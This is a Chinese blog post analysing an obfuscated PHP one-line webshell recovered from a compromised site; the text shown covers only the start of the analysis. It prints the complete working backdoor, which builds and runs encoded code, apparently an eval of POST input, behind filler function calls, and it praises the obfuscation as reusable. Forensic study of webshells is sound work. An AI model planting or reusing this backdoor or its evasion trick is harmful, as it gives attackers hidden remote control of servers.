【技术讨论】对某加密一句话shell的解密

对某加密一句话shell的解密
antian365.comsimeon
   由于攻防技术对抗的发展,硬件防火墙+软件Waf+杀毒软件的防护已经使得普通webshell在渗透过程中生存周期越来越短;在实际项目渗透测试过程中,可能会遇到前人渗透过留下的webshell,这些webshell大多数是进行过加密处理的,这个时候就需要对webshell进行分析,获取以下一些信息:
1)文件md5校验,收集webshellmd5值。一般来讲webshell加密完成后一般不会对其内容进行更改,因此其文件内容md5值相对固定。
2)对源代码进行解密,获取其加密密码,加密密码如果不是普通的密码,可以用来分析密码习惯,利用社工库来追踪黑客轨迹。
3)源代码关键字收集,在webshell源代码中有可能会留下QQ独特信息。
   本文对收集到的一款webshell(一句话后门)进行代码解密及分析,学习它人加密思路和长处,在后续过程可以复用,同时本文还对一些常见的加密变换函数进行了分析和介绍。
1.1源代码
在网站目录下获取的一句话后门文件,通过查看其源代码,发现其中基本是一堆乱码,根据经验判断应该是一句话后面经过变异以后的代码,其完整源代码如下:
<?php
$xN =$xN.substr("iyb42str_relgP804",5,6);
$lvcg =str_split("muk9aw28wltcq",6);
$xN =$xN.substr("l9cdplacepArBE9dk",4,5);
$jl =stripos("epxwkl7f66tfkt","jl");
$t = $t.substr("tQGV2YWwJcVu4",1,6);
$eia7 =trim("j8l2wml46reen");
$b =$b.substr("kbase64kBDt9L6nm",1,6);
$ig =trim("b39w0gnuli");
$y =$y.$xN("rY","","crYrerYa");
$yu1 =str_split("bi1b87m8a0o6x",2);
$t =$t.$xN("xA6x","","wxA6xoJF9");
$nd =stripos("n65t88rxn02edj3f0","nd");
$b =$b.$xN("wI39","","_wI39dwI39ec");
$h8ps =str_split("kn9j9h4mhwgf3fjip",3);
$y =$y.substr("hyte_funwViSVE4J",2,6);
$yf7 =strlen("uehu49g6tg5ko");
$t =$t.$xN("fp","","QfpTfp1Nfp");
$m9 =strlen("eul604cobk");
$b = $b.substr("l0W1odelA1eSnEJ",4,3);
$h0bw =trim("n3e5h0cqtokvgob8tx");
$y =$y.$xN("yb","","cybtio");
$s7a =rtrim("auebyc9g4t5d8k");
$t =$t.substr("bMs0nBh83UWyd",9,4);
$d59q =stripos("cjvuckoy5wf3otea","d59q");
$y =$y.substr("nD9HxQSL8ngR",9,1);
$l1 = str_split("agqq09gbqn1",4);
$t =$t.$xN("w6o4","","wcDw6o4Yw6o40");
$py =stripos("lgy8htrrv1tc3","py");
$t =$t.$xN("eP32","","bXFeP32h");
$xp3d =stripos("ukl0nbnx9gt3","xp3d");
$t =$t.substr("ikJ00HJMngxc",7,5);
$dt2b =strlen("e4a5abuajw3vlcira");
$t =$t.substr("cdN1Kxem53NwmEh86BS",7,4);
$ubj =strlen("wghjnft2op5kx1c086t");
$t =$t.substr("m4aoxdujgnXSkcxL4FWcYd",7,6);
$qx =strlen("rlqfkkftro8gfko7ya");
$t =$t.substr("r7y",1,1);
$mu =rtrim("ngdxwux5vqe1");
$j =$y("", $b($t));
$bnlp =strlen("vufy0ak1fyav");
$sdh =str_split("wmnjvg3c7p0m",4);
$mb =ltrim("n52p1pgaepeokf");
$e0pw =rtrim("uu4mhgp5c9pna4egq");
$ugh =trim("rcpd3o9w99tio9");
$grck =strlen("x5rix5bp1xky7");
$eo6t =strlen("ddi1h14ecuyuc7d");$j();
$dvnq = str_split("prm6giha1vro3604au",8);
$ug8 =rtrim("ec8w52supb4vu8eo");
$rct =stripos("hxe6wo7ewd8me7dt","rct");
$ekqf =str_split("prf5y08e8flffw025j8",8);
$vyr =str_split("umpjcsrfg6h5nd6o45",9);
$wrf =rtrim("fyx99o7938h7ugqh");
$q14 =strlen("tc46osxl1st1ic2");
functiono( ){   };
$usf =strlen("fltcpxb7tfbjsmt");
?>
1.2源代码中用到的函数
   对代码中的函数进行统计和去重,主要使用函数有:
  1substr函数:substr(string,start,length),返回字符串的一部分,参数信息如下:
string 必需,规定要返回其中一部分的字符串。
start          必需,规定在字符串的何处开始;正数值则在字符串的指定位置开始,负数则从字符串结尾开始的指定位置开始;0值则在字符串中的第一个字符处开始。
length可选,规定被返回字符串的长度,默认是直到字符串的结尾。正数值是从 start 参数所在的位置返回的长度,负数值从字符串末端返回的长度。使用一段代码来解释其具体应用,效果如图1所示。

[align=center][font=宋体][/font][attachment=5673][align=left]

re2c和bison直接就可以分析规则了

技术交流QQ群: 397745473
来自:https://xianzhi.aliyun.com/forum/read/1647.html?fpage=3

评论

此博客中的热门博文

【漏洞研究】[渗透测试]滲透Facebook的思路與發現

【技术讨论】使用apache mod_rewrite方法随机提供payloads